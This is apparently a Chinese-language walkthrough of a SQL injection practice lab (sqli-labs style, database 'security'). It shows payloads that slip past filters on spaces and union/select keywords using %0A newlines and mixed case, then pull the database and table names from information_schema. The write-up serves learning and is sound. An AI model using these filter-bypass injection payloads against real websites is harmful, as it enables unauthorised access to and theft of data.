0X01
先查詢閉合
?id=1' 報錯 ?id=1'' 正確

知道是’的閉合語句
0X02那么開始我們的注入之旅

空格過濾了 嘗試一下%0a繞過 #也被過濾了 那么用and '1'='1構造閉合
?id=1'||'1'='1
顯示正確
我們來爆一下數據名稱 哦豁 union select 被過濾了
/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

那我們繞過看看行嗎? double
?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1
不得行不得行 那我們怎么繞過呀? 可以偷偷看看源碼

正則表達式
PHP語法
正則表達式
PHP正則表達式的模式修飾符(官方文檔)
PHP正則中的i,m,s,x,e
i
如果設定了此修正符,模式中的字符將同時匹配大小寫字母。m
如果設定了此修正符,行起始和行結束除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之后和之前。s
如果設定了此修正符,模式中的圓點元字符.匹配所有的字符,包括換行符。沒有此設定的話,則不包括換行符。x
如果設定了此修正符,模式中的空白字符除了被轉義的或在字符類中的以外完全被忽略,在未轉義的字符類之外的#以及下一個換行符之間的所有字符,包括兩頭,也都被忽略。e
如果設定了此修正符,preg_replace()在替換字符串中對逆向引用作正常的替換。?
在./+/*之后表示非貪婪匹配,./+/*限定符都是貪婪的,它們會盡可能多的匹配文字,在它們的后面加上一個?就可以實現非貪婪或最小匹配。
爆數據庫 這里 正則過濾了-號所以不能用-1
?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

0X02爆表名
?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1
這里剩下的操作就是一套組合拳了
那么 我們進行一下總結吧
1 這里空格%0a代替 不知道26a和26關為什么不行
2這里正則表達式是只要你含有 就會一直匹配 雙寫不能繞過
3當-1不能用的時候 隨便用一個錯誤的值把顯示的位置讓出來 給你要的數據
4 學習之路 少就是多 慢就是快
加油
